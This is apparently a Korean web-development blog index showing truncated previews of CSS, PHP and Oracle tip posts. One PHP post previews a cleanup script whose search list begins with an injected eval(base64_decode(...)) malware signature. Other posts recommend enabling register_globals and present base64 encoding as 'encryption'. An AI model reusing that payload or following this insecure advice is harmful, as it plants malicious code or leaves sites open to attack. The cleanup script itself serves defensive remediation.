[CSS]  CSS 선택자(Selector) - 가상 클래스 선택자 가상 클래스 선택자- E:first-child (:first-child 수도 클래스)- E:lang(c) (언어 수도 클래스)- E:link, E:visited (링크 수도 클래스)- E[foo], E[foo="warning"], E[foo~="warning"], E[lang|="en"] (속성 선택자)E:first-child (:f...
[CSS]  CSS 선택자(Selector) - 복합선택자 복합 선택자 : 복합 선택자는 크게 세 가지 종류가 있다. - E F (하위 선택자) - E > F (자식 선택자) - E + F (인접 선택자)E F (하위 선택자)E 엘리먼트의 하위에 있는 F 엘리먼트들을 선택...
[CSS]  Border-radius: create rounded corners with CSS! W3C has offered some new options for borders in CSS3, of which one is border-radius. Both Mozila/Firefox and Safari 3 have implemented this function, which allows you to create round corners on box-items. This is an example: Mozilla/Firefox and Safari 3 users should see a nicely rounded box, with...
[CSS]  셀렉트박스 -> 레이어 변환 스크립트 HTC 버전 일반적인 셀렉트 박스를 이쁜 형태의 레이어로 변환해 주는 스크립트의 HTC 버전입니다.첨으로 HTC로 작업하다 보니 조금 어려운 점이 있었지만 덕분에 MSDN도 뒤지면서 많은 공부가 되었습니다.첫번째 링크는 예제 파일이고 두번째 링크는 HTC 파일입니다.먼저 첫번째 링크를 열어서 예제를 보시기 바랍니다.* 주요 기능- 셀렉트박스 폼필드를 자동으로 레이어로 변환- 기존 셀렉트박스 태그 수정 불필요- 여백 공간에 따라 아래 위의 공간을 비교하여 넓은쪽으로 레이어가 출력 됨- 옵션 항목이 많아질 경우 자동으로 스크롤바가 생성- 특정...
[CSS]  Safari에만 CSS가 적용 /* XXX */로 코멘트 아웃하고 html:66irst-child를 덧붙임으로써 Safari에만 CSS가 적용된다.html:\66irst-child div.globalContainer{    margin: 0 0 0 18px;}
[CSS]  CSS Hack in IE8 /***** 선택자 Hacks ******//* IE 6 및 하위버전 */* html #uno  { color: red } /* IE 7 및 하위버전 */*:first-child+html #dos { color: red }  /* IE 7 및 최신브라우저(IE8포함) */html>body #tres { color: red } /* 최신브라우저 (IE7제외, IE8포함) */html>/**/body #cuatro { color: red } /* Opera 9.27 및 하위버...
[CSS]  CSS용어 정리 :active (활성) :after (다음) :before (이전) :first (처음) :first-child (첫 자식) :first-letter (첫 글자) :first-line (첫 줄) :focus (초점) :hover (마우스 올림) :lang (언어) :left (왼쪽) :link (연결) :right (오른쪽) :visited (방문 했던 연결) @charset (글자세트) @font-face (글꼴 표현) @import (도입) @media (메디아) @page (페이지) A absolute length (절대...
[CSS]  text-overflow:ellipsis 문단이 길어지면 점(...)으로 표현 <p style="width:150px; overflow:hidden; text-overflow:ellipsis;white-space:nowrap; ">가나다라마바사아자차카타파타카하</p> 구현- 가나다라마바사아자차카타주오승주오승주오승주오승주오승주오승주오승주오승주오승주 주1) width값은 글씨가 보여지는 길이 주2) white-space:nowrap는 셀의 너비를 지정했다 하더라도 자동으로 줄바꿈이 되지 않게 하는 속성
[CSS]  폰트사이즈 pt / px / em / % 비교표   Points Pixels Ems Percent 6pt 8px 0.5em 50% 7pt 9px 0.55em 55% 7.5pt 10px 0.625em 62.5% 8pt 11px 0.7em 70% 9pt 12px 0.75em 75% 10pt 13px 0.8em 80% 10.5pt 14px 0.875em 87.5% 11pt 15px 0.95em 95% 12pt 16px 1em 100% 13pt 17px 1.05em ...
[CSS]  background 속성에 대해 background 는 배경색 혹은 배경이미지를 출력할때 사용합니다.사용예)처럼 배경이미지를 사용할 때 전체 화면에 지정한 이미지를 사용하고 싶으면 background:url(이미지 지정) 형식으로 지정하면 된다.repeat-x => 가로로 계속 반복되어 표시가 된다.repeat-y => 세로로 계속 반복되어 표시가 된다.no-repeat => 한 번만 표시하고 반복하지 않는다.bottom => 배경이미지를 화면의 하단부터 채우기 시작한다.     &n...
[CSS]  IE6에서 Position: fixed 하단고정 레이어 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=euc-kr"> <title>11</title> <style type="text/css"> * {margin:0; padding:0;} *h...
[CSS]  !important Declaration !important Declaration(!중요도 선언)은 모든 style 규칙에 우선하여 inline style, id selector, class selector 들로 같은 style Property들을 선언했드라도 그 값을 모두 무시하여 !important 로 선언한 Property 값을 적용시킵니다. 이러한 !important 선언을 하는 이유는 단언할 수는 없지만 저의 경우 주로 Printing 할 때 많이 사용합니다.웹 페이지를 모니터로 볼 때는 글씨 색이 여러 가지면 보기 좋을지 모르지만 Printer로 출력하게되...
[CSS]  IE에서 letter-spacing:-1px; 적용시 br 태그 버그 스타일에서 letter-spacing:-1px; 을 줬을경우 입니다. ex) body {letter-spacing:-1px;} 위와 같을때 IE에서 br 태그 두번 적용시 한칸으로 인식해버립니다. (IE8 제외)   letter-spacing:-1px; 적용시       적용한 소스보기   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-t...
[CSS]  div 태그에 스크롤바(Scroll Bar) 붙이기 <div style="overflow:scroll; width:300px; height:150px; padding:10px; background-color:gold;">친구의 이야기를 다 들었을 때 나에게는, 친구의 의도와 상관 없이, 거대한 암흑의 이미지가 떠올라 있었다.<br /><br />다른 친구들은 그 친구의 이야기를 거의 듣지 않은 듯싶었다. 왜냐하면 토요일 오후였기 때문이다. 그러나 나에게는 친구의 이야기가 화창한 토요일 오후와 대비되어 더욱 강렬하게 다가왔었다. 무엇보다도 친구의 ...
[CSS]  pre 태그 사용시 글이 길어서 테이블이 깨질경우... 스타일 시트로 간단하게 해결~<pre style="word-wrap: break-word"> 내용... </pre>또는 table 에 table-layout: fixed 스타일도 같이 주면 해결된다.
[CSS]  CSS로 브라우저 구분없이 글자 자르기 CSS 로 브라우저 구분없이 글짜 자르기   CSS로 게시판의 글자자르는 방법은 여러 가지가 있으나 익스 전용이라든지 혹은 연속된 글자(111111111111111111111111111...)등에 대해서는 제대로 처리하지 못한 경우가 많이 있습니다 다음 CSS는 익스와 FF모두 정상적으로 실행되며 연속된글자에 대해서도 알맞게 처리합니다   <nobr> 태그와 display의 block 을 이용하면 됩니다     <table border=1> <tr> &nb...
[CSS]  div와 span 태그의 차이 W3C의 HTML 4.01 표준권고안(번역)에 따르면 span과 div는 모두 그룹화 엘러먼트(grouping elements)로서, 엘러먼트가 포함하는 내용물이 inline-level이냐, block-level이냐 하는 것을 정의하는 것 외에는 다른 역할이나 차이점이 전혀 없습니다. inline-level과 block-level의 차이점은 구글링만 하면 무수히 나올테니 생략하고, 이제부터는 실용적인 접근을 해보겠습니다. 첫 번째, 공간을 어떻게 차지하는가 가장 두드러진 차이점은 div는 주어진 가로폭을 전부 차지하고 span...
[CSS]  플래시 위의 레이어 z-index 가 먹통이 될때 보통 플래시 위에 레이어를 띄울경우 레이어가 플래시 밑으로 깔리게 된다.레이어의 z-index 값을 아무리 높인다 해도 소용이 없다.이럴 경우 플래시 object param 요소에 <param name='wmode' vlaue='transparent' /> 을 추가 해주면 이 문제를 해결할 수 있다.이 파라미터의 역할은 플래시의 투명 영역을 사용할 수 있도록 하는 요소 인데 이걸 추가 하게 되면 레이어의 z-index를 허용시켜 준다. <object classid="clsid:D27CDB6E-AE6D-11cf-...
[CSS]  BUTTON 브라우저별 랜더링 비교, 해결방법 저는 그동안 <button>엘리먼트는 생소하고, 그 기능도 모호한 것 같아서 잘 사용하지 않았었습니다. 그런데 에디터 관련 프로젝트를 진행하던 중, 글편집기 상단에 도구 모음들을 마크업해야 할 일이 생겼고, <a>와 <button> 중 어떤 태그로 마크업 하는 것이 더 시멘틱 할까를 고민하게 되었습니다.   <a>와 <button>의 쓰임새를 정리해보자면, <a>엘리먼트는 앵커(anchor)로써 문서 간의 연결, URI 참조가 주된 목적이고 <but...
[CSS]  투명(filter:alpha)효과 (익스,파폭,오페라) 형식:  filter:alpha(opacity=70); opacity:0.7; -moz-opacity:0.7;예) <style type="text/css">   #area{   filter:alpha(opacity=30); opacity:0.3; -moz-opacity:0.3;   }</style> <div id="area">   <img src="/2215602241.gif" alt="투명...
[CSS]  FF bug - flash position:absolute 일때 플래시 무비 사라짐. FF 3.0.x 버전에서 나타나는 버그. (3.5.x 이상 버전에서는 정상동작)플래시 무비가 있는 레이어를 position:absolute로 띄울때, 해당 플래시의 wmode가 transparent 인 경우,플래시 무비가 사라져서 보이지 않음.관련 문서들http://snook.ca/archives/other/hit_bug_in_fire/http://board.flashkit.com/board/showthread.php?t=730647http://www.bigresource.com/FLASH-Firefox-and-wmode-tr...
[CSS]  CSS 핵 브라우저마다 HTML렌더링하는 방식이 조금씩 차이가 나고, 때로는 버그가 존재하는 관계로(망할 IE) 모든 CSS 코드가 모든 웹브라우저에서 똑같이 보이지 않습니다.따라서 이러한 특성을 이용하여 특정 브라우저를 제외하거나, 특정 브라우저에서만 CSS를 적용하는 기법을 CSS 핵(Hack) 이라고 부르죠...그래서 문법적으로 맞지 않거나, 특정 브라우저에만 적용되는 비표준인 경우가 많기 때문에 이러한 CSS핵은 어쩔 수 없는 경우가 아니면 사용하지 않아야 합니다. 또한, 단순히 눈앞의 문제만을 해결하기 위해 핵을 사용하면 나중에...
[CSS]  UL, LI 태그 밑에 생기는 여백 해결 (IE6) UL, LI 태그 밑에 생기는 여백 해결 (IE6) <ul class="banner">       <li><a href="#"><img src="../images/main/banner_sampleclass.gif" alt="" /></a></li>       <li><a href="#"><img src="../images/main/...
[CSS]  속성 선택자 단순 속성======================================================h1[class] {color:silver;}<h1 class="nomal"> 이글은 은색으로 표현됩니다.</h1>img[alt] {boder :3px solid red;}문서 alt 속성을 가진 모든 이미지가 붉은 테두리를 표시합니다.*[title] {font-weight: bold;}타이틀 속성을 가진 모든 텍스트가 굵은 글씨로 표현됩니다.a[href][title] {font-weight: bold...
[CSS]  CSS(Cascading Style Sheet) 개요 ☆ CSS(Cascading Style Sheet)란?   Cascadingcascade는 "폭포가 되어 떨어지다"라는 뜻입니다. 폭포는 물이 위에서 아래로 힘차게 흘러 내리죠? 그럼 왜 style sheet에, cascading이란 말이 붙었을까요? CSS에는 '우선순위'라는 것이 있습니다. 이 CSS의 우선순위가 정해지는 것이, 꼭 cascade와 비슷한 느낌을 주기 때문에, style sheet에 cascading이란 말을 붙인 것입니다. Stylestyle은.. 예를 들어, 어떤 문서가 있는데 글자 크기가 1...
[CSS]  로그인박스 div 코딩 예제 <STYLE type=text/css> body,div,dl,dt,dd {margin:0;padding:0;} #loginBox {width:200px;background:#ccc;overflow:hidden;} #loginBox .login {float:left;width:160px;} #loginBox .login dt, #loginBox .login dd {float:left;} #loginBox .login dt {clear:left;width:50px;} #loginBox .login dd {width:10...
[CSS]  div 테두리, 배경색 지정하기. div에 테두리와 배경식을 지정하면 더욱 멋진 웹 페이지를 만들 수 있다. <head> <style> #main{margin: 0 auto; width:600px; height:150px; background-color:#888888; border-left:1px solid #333333; border-right:1px solid #333333; float:left;} </style> </head> <div id="main">내용</div> style. ba...
[CSS]  스타일 시트로 롤오버 구현 코딩 <a class="favorBtn" title="관심블로그로 등록!" href="#" onclick="addBlogrollPopup('1892'); return false;">관심블로그로 등록!</a> <a class="rssBtn" title="RSS 피드 구독!" href="virhca.com">RSS 피드 구독!</a> <style type="text/css"> #menu .rssBtn {background: transparent url(./img/menu_info.g...
[CSS]  DIV 코딩 간단한 예제!! <html>     <head>         <title></title>         <style type="text/css">             div {                 display: inline;       &...
[CSS]  IE,FF 의 투명도 설정 : opacity MSIE (5.5+)FILTER: alpha(opacity:[0~100]) 모질라계열-moz-opacity:[0~1] CSS3지원 계열(FF,오페라 등)opacity:[0~1] 사용예제)MSIE(5.5+) style="filter:Alpha(opacity=40)" 모질라계열(FF) style="-moz-opacity:0.4" CSS3(오페라,FF) style="opacity:0.4;" background-color:#000000; filter:Alpha(opacity=60); opacity:0.6; -moz-opacity:0.6;
[CSS]  CSS의 한계 - 외부 환경에 따른 한계들이 명확한 슈렉같은 녀석 최근에 웹 표준, 웹 접근성, 웹 호환성이 이슈로 떠오르면서 CSS가 집중 조명받고 있다. CSS가 다양한 이슈들을 한꺼번에 해결해줄수 있는 슈퍼맨처럼 과대포장되고 있지만, 실제로는 자체적인 결함과 외부 환경에 따른 한계들이 명확한 슈렉같은 녀석이다. 이런 CSS의 한계를 명확하게 인지하고, 그에 따른 해법을 모색할 때, 비로서 최근의 다양한 이슈들을 올바르게 해결할 수 있을 것이다. 하늘을 날지 못하는 자동차를 탓하는 것보단, 비행기는 결코 다닐 수 없는 지하도를 훌륭하게 주행할 수 있는 점에 박수를 보내야 할 것이다. ...
[CSS]  CSS 버튼 21종 예제 소스 : /* #gBtn1 */ #gBtn1 a{display:block; background:url('./images/gBtn1_bg.gif') left 0; float:left; font:12px 굴림; color:#555; padding-left:6px; text-decoration:none; height:27px; cursor:pointer; margin-right:3px; overflow:hidden} #gBtn1 a:hover{background:url('./images/gBtn1...
[CSS]  네이트(nate.com) 통합 검색바 small <style type="text/css"> #searchWrap { position:absolute; top:46px; right:0; width:100%; text-align:right; color:#555555; z-index:998; } #searchWrap fieldset { position:relative; float:right; margin:0; padding:0; border:none; } #searchWrap fieldset legend { display:none; } #searchWrap fields...
[CSS]  css + xhtml 로 홈페이지 만들기 - xhtml 기본 세팅 xhtml문서를 작성하기 전에 기본적으로 꼭 들어가야 할 요소들을 살펴보도록 합시다. xhtml은 대소문자를 구분하며, 열어준 태그는 반드시 닫아야 합니다.되도록 소문자로 작성하는 것을 장려합니다. index.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" l...
[PHP]  자주 사용하는 PHP 함수정리 1. 날짜 및 시간 관련함수 time() -용도: 현재 시각을 timestamp값으로 구한다. -방법: time() date() -용도: 사용자가 지정한 형태로 시간을 표시. 특정시간의 날짜와 요일등을 배열로 리턴한다. -방법: date("표시할 시간의 포맷형태","특정한 timestamp값") mktime() -용도: 지정된 날짜를 timestamp값으로 변환한다. -방법: mktime(시,분,초,월,일,년) checkdate() -용도: 날짜와 시간이 올바른 범위 안에 있는지 검사한다. -방법: checkdate(월...
[PHP]  휴대폰 / 컴퓨터 접속을 체크하여 출력 스마트폰인지 체크하여 컴퓨터와 휴대폰을 구분 지어 출력합니다.요즘 스마트폰 사용이 급중하면서 웹페이지도 모바일버전 보급과 사용이 활발해 졌습니다.이에따라 개발자들이 조금더 구현 및 구분을 쉽게하기 위해 사용자함수 입니다.function MobileCheck(){ global $HTTP_USER_AGENT;    $MobileArray  = array("iphone","lgtelecom","skt","mobile","samsung","nokia","blackberry","android...
[PHP]  세션 타임 .htaccess 에서 조정하기 .htaccess 파일에 아래 구문 추가 해주면 된다.php_flag session.gc_maxlifetime 3600시간은 초단위이다.
[PHP]  정규표현식 - Basic Syntax of Regular Expressions (정규표현식의 기본 문법) 먼저 특수문자 '^'와 '$'를 살펴봅시다. 이 문자의 역할은 문자열의 시작과 끝을 의미합니다. 다음과 같은 해당 예를 들 수 있습니다. "^The": "The"로 시작하는 문자열 "of despair$": "of despair"로 끝나는 문자열 "^abc$": "abc"로 시작하고 "abc"로 끝나는 문자열 ("abc" 라는 문자열도 해당됨) "notice": "notice"가 들어 있는 문자열 마지막 예제에서 보듯이 이 두 ...
[PHP]  첨부메일 보내기 <?$title = "첨부메일 보내기"; $mailheaders = "Return-Path: program@mytechnic.comrn"; $mailheaders .= "From: program@mytechnic.comrn"; $mailheaders .= "X-Mailer: multimailrn"; $boundary = "----".uniqid("part"); # 첨부 파일 처리 $upfile = $_FILES['upfile']; $upfile_name = $_FILES['upfile']['name']; $up...
[PHP]  $PHP_SELF 가 안될때 php.ini에서 register_global 설정이 원인php.ini 에서 이 부분을 register_globals = Off 에서 register_globals = On 웹호스팅이라면 .htaccess 안에 코드삽입<? echo $_SERVER['PHP_SELF'];?>
[PHP]  URL 함수 모음 base64_decode : base64 인코드 데이터를 원상태로 디코드한다. base64_encode : 데이터를 base64로 인코드한다. get_meta_tags : 메타 태그 내용을 배열로 반환한다. http_build_query : 인코드한 쿼리 문자열을 생성한다. parse_url : url 정보를 배열로 저장하여 구성요소를 반환한다. rawurldecode : url 인코드 문자열을 디코드 한다. rawurlencode : RFC 1738에 따라 url을 인코드 한다. urldecode : 인코딩된 u...
[PHP]  PHP에서 사용되는 수학 함수 모음 abs : 절대값을 반환한다. cos :  아크 코사인 base_convert : 수를 임의의 진수로 변환한다. bindec : 2진수를 10진수로 변환한다. ceil : 소수점 이하를 올림하여 값을 구한다. decbin : 10진수를 2진수로 변환한다. dechex : 10진수를 16진수로 변환한다. decoct : 10진수를 8진수로 변환한다. floor : 소수점 이하를 내림하여 값을 구한다. fmod : 나눗셈에서 소수점 나머지를 반환한다. getrandmax : 랜덤 값의 가장 큰 값을 반환...
[PHP]  base64_encode(), base64_decode() 함수 base64_encode (PHP 3, PHP 4 )base64_encode -- 데이터를 MIME base64로 인코드합니다. 설명string base64_encode ( string data) base64_encode()는 base64로 인코드한 data를 반환합니다. 이 인코딩은 메일 본문과 같이 8비트를 사용할 수 없는 전송층에서 바이너리 데이터를 안전하게 전송하기 위해 설계되었습니다. Base64 인코드 데이터는 원 데이터보다 약 33% 많은 공간을 차지합니다. 예 1. base64...
[PHP]  IP Address로 국가 알아내는 방법 출처: http://ip-to-country.webhosting.info/node/view/6 첨부파일은 위의 출처 사이트에서 제공하는 CSV형식의 2007년 3월 5일자 자료입니다.시간에 따라 자료가 변함으로 최신 파일은 http://www.ihelpers.co.kr/programming/tipntech/ip-to-country.csv.zip을 통해 다운 받으시기 바랍니다. CSV파일의 형식은 다음과 같습니다. "0033996344","0033996351","GB","GBR","UNITED KING...
[PHP]  base_convert - 진수변환 저장될 변수 = base_convert (변환할값, 값의진법, 변환할진법);$a = base_convert (9, 10, 2); // 10진수 9를 2진수로 변환 echo $a;
[PHP]  현재 페이지의 도메인명이나 url등의 정보 알아오기 <?   $hostname=$_SERVER["HTTP_HOST"]; //도메인명(호스트)명을 구합니다.   $uri= $REQUEST_URI; //uri를 구합니다.   $query_string=getenv("QUERY_STRING"); // Get값으로 넘어온 값들을 구합니다.   $phpself=$_SERVER["PHP_SELF"]; //현재 실행되고 있는 페이지의 url을 구합니다.   &nb...
[PHP]  base64_encode 를 이용한 Get 방식 변수 암호/복호화 함수 // Get 방식 변수 암호화 함수function Encode64($data){ return base64_encode($data)."||";} // Get방식으로 넘어온 변수를 Decode하는 함수function Decode64($sending_data){ $vars=explode("&",base64_decode(str_replace("||","",$sending_data))); $vars_num=count($vars); for($i=0;$i<$vars_num;$i++){&nbs...
[PHP]  register_globals=off 일때 변수 사용 register_globals=off 일때 변수 사용 $_GET - 폼에서 보내는 GET 변수값을 받는다. $_POST - 폼에서 보내는 POST 변수값을 받는다. $_COOKIE - HTTP의 COOKIE 변수값을 받는다. $_SERVER - server 변수를 받는다. (ex. REMOTE_ADDR) $_ENV - 환경변수를 받는다. $_REQUEST - GET, POST ,Cookie 를 한꺼번에 받는다. $_SESSION - 세션 모듈에 포함된 HTTP 변수를 받는다. 예) 변수가 var 일때 $_GET["var"] (...
[PHP]  php.ini 일반적인 구성 PHP 의 일부 일반 기능 및 내장된 기능들에 영향을 미치는 몇 가지 구성 매게변수들에 대하여 알아보기로 하겠습니다. ■ auto_append_file String 메인 파일 다음에 자동으로 분석되는 파일 이름을 String 에 지정한다. 이렇게 지정된 파일은 include() 함수로 호출된 것 처럼 포함된다. 특수값인 none 은 자동 추가 기능을 중지 시킨다. 만약 스크립트가 exit() 로 종료된다면 auto-append 작업이 수행되지 않는다. 이 명령어는 특정 웹 사이트에 정형화된 모습과 느낌을 주고자 PHP가 페이지...
[PHP]  자주 쓰이는 내장함수 basename -- 경로명에서 파일이름만 반환합니다 chgrp -- 파일의 그룹을 변환합니다 chmod -- 파일의 모드 변경 chown -- 파일의 소유자 변경 clearstatcache -- 파일의 통계(stat) 캐시를 삭제합니다. copy -- 파일을 복사합니다 delete -- 실제로는 없는 명령 dirname -- 경로의 구성요소중에서 디렉토리 이름만 반환합니다. disk_free_space -- Returns available space in directory disk_total_space -- Returns t...
[PHP]  extract() 언제, 왜 사용하는것일까? php.ini 파일에 register_globals 라는 설정과 관련있습니다. register_globals 라는 설정이 on 으로 설정되어 있을 때는 현재 페이지로 전달되는 변수 및 서버 변수들을 이름 그대로 사용하실 수 있습니다. 하지만 반대로 off 로 설정되어 있을 때는 불가능 합니다. PHP 4.2.0 버전 부터 이 register_globals 라는 설정이 off 를 기본 값으로 배포가 되고 있습니다. 그 이유는 보안상의 문제 때문입니다.<?if(check_login()) {   $login_...
[PHP]  basename() string basename(string path, string suffix)* path란 전체 파일의 전체 경로명을 인수로 받아 파일명만을 반환한다. * suffix : 출력되는 파일명의 끝부분의 문자를 삽입시 생략이 된다. <?php$path = "/home/httpd/html/index.php";$file = basename($path);         // $file is&n...
[PHP]  iframe hacking 당한 후에 사용한 치료용 스크립트 실행한 디렉토리부터 하위단에 있는 모든 파일을 다 뒤져서 감염된 파일을 수정하는 방식으로 되어 있다.     파일명 : kickHack.php   <?php//usage : php -f kickHack.php @infected directory root $hackArr = array( '<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygndnIxJykpe2Z1bmN0aW9uIHZyMSgkcyl7aWYocHJlZ19tYXRjaF9hbGw...
[PHP]  안전한 PHP 파일 업로드 구현 체크 리스트 원문 : http://hungred.com/2009/08/17/useful-information/secure-file-upload-check-list-php/   1. Content Type 검증   $_FILES['uploadfile']['type']로 MIME type 검증   * PHP가 받아오는 MIME type은 웹브라우저가 넘겨주는 값을 그대로 쓴다. 대다수 웹브라우저들은 확장자로 MIME type을 결정하기 때문에 신뢰도가 떨어지는 건 어쩔 수 없다.    ...
[PHP]  정규식 표현 preg_match_all 예를 들어 Contents 내용만 가져오고 싶을 경우에 아래와 같이 사용하면 됩니다. $data="Contents=내용 하나 둘 셋 둘 셋 하나 NewsDate=2007-10-19 오후 4:04:17"; preg_match_all("/Conetents=(.+)NewsDate=/isU", $data, $v);   위 표현은  $data 에서 Contents= 시작해서  NewsDate 전까지 내용을 가져오는 표현입니다.   그러면 아래와 같이 $v 변수에 내용을 가져오겠죠 &...
[PHP]  그누보드 비밀글 패스워드 입력 시 팝업 사용하기 bbs/list.php 파일의 해당부분을 수정 합니다.107 Line 부근while {               중략...    $i++;    $k++;}$i++; 바로 윗 부분에// 자신의 글이거나 관리자라면 통과    if (($list[$i][mb_id] && $list[$i][mb_id] == $mem...
[PHP]  PHP에서 데이터를 엑셀(Excel)로 저장 <?header( "Content-type: application/vnd.ms-excel; charset=euc-kr" );header( "Expires: 0" );header( "Cache-Control: must-revalidate, post-check=0,pre-check=0" );header( "Pragma: public" );header( "Content-Disposition: attachment; filename=test.xls" );array("1","2","3");$b   = array("...
[PHP]  $_SERVER 정리 서버 변수: $_SERVER 참고: 4.1.0부터 지원됨. 이전 버전은 $HTTP_SERVER_VARS을 사용함 $_SERVER는 헤더, 경로, 스크립트 위치와 같은 정보를 포함하는 배열이다. 이 배열 안의 엔트리는 웹서버에 의해 생성된다. 모든 웹서버가 이런 것들을 제공한다는 보장은 없다. 서버는 어떤것은 빠뜨리거나 여기에서 목록화된 것 외의 것을 제공할수 도 있다. 이런 많은 수의 변수들은 CGI 1.1 specification에 기반하므로, 그런 변수들은 기대할수 있을것이다. 이 변수는 '슈퍼전역', 또는 자동 전역,...
[PHP]  소수점 자리수 조절 및 반올림 round() 함수를 쓰면 실수를 정수로 반올림해준다   만일 " round('실수', 2) "  이와 같은 형식으로 사용하게 되면 소수점 아래 둘째자리까지만 보여주게 되는데 이때 소수점 아래 세째자리에서 반올림이 일어난다 즉 반올림된 소수점 아래 둘째짜리까지를 보여준다      소수점 자릿수를 제한적으로 표시하고 싶으시다면 round() 함수를 쓰세여.. $a = 7; $b=3; $c = $a / $b; echo round($c,2); 결과 : 2.33 round() 함수...
[PHP]  php 함수정리 PHP 함수 정리 1. 날짜 및 시간 관련함수 *time() -용도: 현재 시각을 timestamp값으로 구한다. -방법: time()  *date() -용도: 사용자가 지정한 형태로 시간을 표시. 특정시간의 날짜와 요일등을 배열로 리턴한다. -방법: date("표시할 시간의 포맷형태","특정한 timestamp값")  *mktime() -용도: 지정된 날짜를 timestamp값으로 변환한다. -방법: mktime(시,분,초,월,일,년)  *checkdate() -용도: 날짜와 시간이 올바른 범위 ...
[PHP]  3DES 암호화/복호화 암호화 Algorithm은 크게 3가지로 나뉜다. 1. Hashing : 복호화 불가능. 단방향. 속도가 빠름 2. Symmetric : 복호화 가능 (private key 사용) 3. Asymmetric : 복호화 가능 (private, public key 사용) 1. Hashing Algorithm 종류 : MD5, SHA1, SHA256, SHA384, SHA512 등 Hash 를 계산할 때 쓰이는 종류이다. 숫자가 클 수록 Hash 값이 복잡해지므로, 더 안전한 암호화 방법이 된다. 예전에는 MD5, SHA1 등 16b...
[PHP]  썸네일, 워터마크 function createThumb($imgWidth, $imgHeight, $imgSource, $name){ global $saveDir;  $thumb = $saveDir."thumb"; $thumbName = $thumb."/".$name;  if(!is_dir($thumb)) {  mkdir($thumb);  chmod($thumb, 0707); }  $size = getimagesize($imgSource); if ($size...
[PHP]  이미지 base64_encode() 처리 $uploadfile = "이미지전체경로";  $fd = fopen ($uploadfile,"rb");  $size=filesize ($uploadfile);  $c=substr("$uploadfile_name",strrpos($uploadfile_name,".")+1);  $cont = fread ($fd, $size);  fclose ($fd);  $encimg=base64_encode($cont); &nbs...
[PHP]  PHP에서 성능 개선을 위한 유용한 팁 웹사이트 성능에 큰 영향을 주는 부분은 대개 부적절한 혹은 최적화되지 않은 데이터베이스 쿼리문에 있습니다. 하지만 데이터베이스 쿼리문이 최적화되었더라도 PHP 프로그램내에서의 간단한 몇가지 수정으로도 좀더 성능 개선을 할 수 있습니다. 해외 PHP관련 컨퍼런스등에서 여러번 제시된적 있는 몇가지 성능 튜닝을 위한 유용한 팁을 올립니다.  1. 최대한 쌍따옴표 대신에 일반따옴표를 쓴다. 쌍따옴표로 감산 문자열의 경우 PHP는 문자열 전체를 처리하게 됩니다. 따라서 처리되지 않고 그대로 유지될 혹은 나중에 처리되어야할 문자...
[PHP]  정규 표현식 ; -------------------- 정규표현식 ------------------------- ^     : 행의 첫 문자([] 안에서는 not의 의미).     : 아무 문자나 한 문자 의미[]    : []사이의 문자 중 하나*     : 앞의 내용이 0번 이상 반복됨<    : 단어의 시작n    : 새 행 문자 $ ...
[PHP]  잘못된 PHP 코딩 스타일 1. 문자 쿼테이션- 잘못된 코딩$ret = $arr[var1];- 올바른 코딩$ret = $arr['var1'];배열의 키 문자는 반드시 싱글 쿼테이션으로 처리해 주어야 한다. 쿼테이션이 들어가 있지 않은 변수인 경우 Notice 에러가 발생한다.또한 싱글 쿼테이션과 더블 쿼테이션의 차이점을 명확히 알고 사용하는 것도 중요하다. 일반 문자열의 경우에는 싱글 쿼테이션을 사용하는 것이 바람직하다.2. 변수 초기화- 잘못된 코딩$str .= "abc";- 올바른 코딩$str = "";$str .= "abc";변수를 초기화 하지 않...
[PHP]  플래시를 들어갈때 바뀌게 하기 플래시를 들어갈때 바뀌게 하기 [이 게시물은 VIRHAC님에 의해 2009-09-13 14:44:34 HTML에서 이동 됨]
[PHP]  전체 게시판의 최근글,최근덧글,최고추천글,게시자 순... 추출 함수 (DB필요없음) 제로보드의 전체게시판(정확히 말하자면 지정한 게시판)의 최신글, 최신덧글,최고 추천글 등을 리스트화 해주는 함수(?)입니다. 사용된 예는 제 홈페이지( http://lpbox.co.kr )의 오른쪽 카테고리로 들 수가 있겠습니다. 스킨은 제로보드의 최근글의 스킨을 사용하시면 됩니다. 저만을 위한 함수였기에 부족한점이 많습니다. 보완점을 알려주시면 수정에 수정을 더하겠습니다. 설치방법 - LP_Frame을 사용자 w_head.html에 include $_zb_path."outlogin.php"; require ("../gl...
[PHP]  PHP 프로그램 속도 올리는 20가지 ★ 무조건 알아야 할 PHP 속도 테스트 20 가지 ◆◇◆◇◆◇ 이 속도 테스트 보다 더 중요한 것이 PHP보안 입니다. 보안이 가장 중요함당 !!!PHP로 코딩 함에 있어서 알아야 할 속도 테스트 입니다.조금더 빠른 PHP 속도를 유지 하기 위한 것이죠 ^^작은 것이 모여서, 대따 오랜 시간이 걸릴 수 가 있는 것 입니다. !!되도록이면 속도가 빠른 것을 사용하시는 것이 좋습니다.물론 함수 마다 기능 마다 장단이 있지만요....^^다른 비교가 있으면 알려주셍 ^^ 답변 달아 주세용 ^^계속 적으로 업글 됩니다. ★ mysql...
[PHP]  PHP 구문으로 절대경로와 상대경로... 제로보드에 유용하실거라 생각합니다. 절대경로와 상대경로를 찾지 못 하였을 경우 말이죠. 소스는 아래와 같습니다. 이 소스를 *.php 로 저장을 하여 업로드한후 실행을 합니다. 절대경로와 상대경로가 출력되는것을 볼수 있습니다. [이 게시물은 VIRHAC님에 의해 2009-09-13 14:37:27 HTML에서 이동 됨]
[MYSQL]  [Oracle] 실수로 지운 데이터 Flashback 을 이용한 데이터 검색/복구 [30분 이전 10건 조회]SELECT * FROM TABLE_NAME  AS OF TIMESTAMP(SYSTIMESTAMP-INTERVAL '30' MINUTE) WHERE  ROWNUM<=10 ORDER BY TABLE_NAME_SEQ ASC[해당 시퀀스 검색 삽입]INSERT INTO TABLE_NAME SELECT * FROM TABLE_NAME  AS OF TIMESTAMP(SYSTIMESTAMP-INTERVAL '30' MINUTE) ...
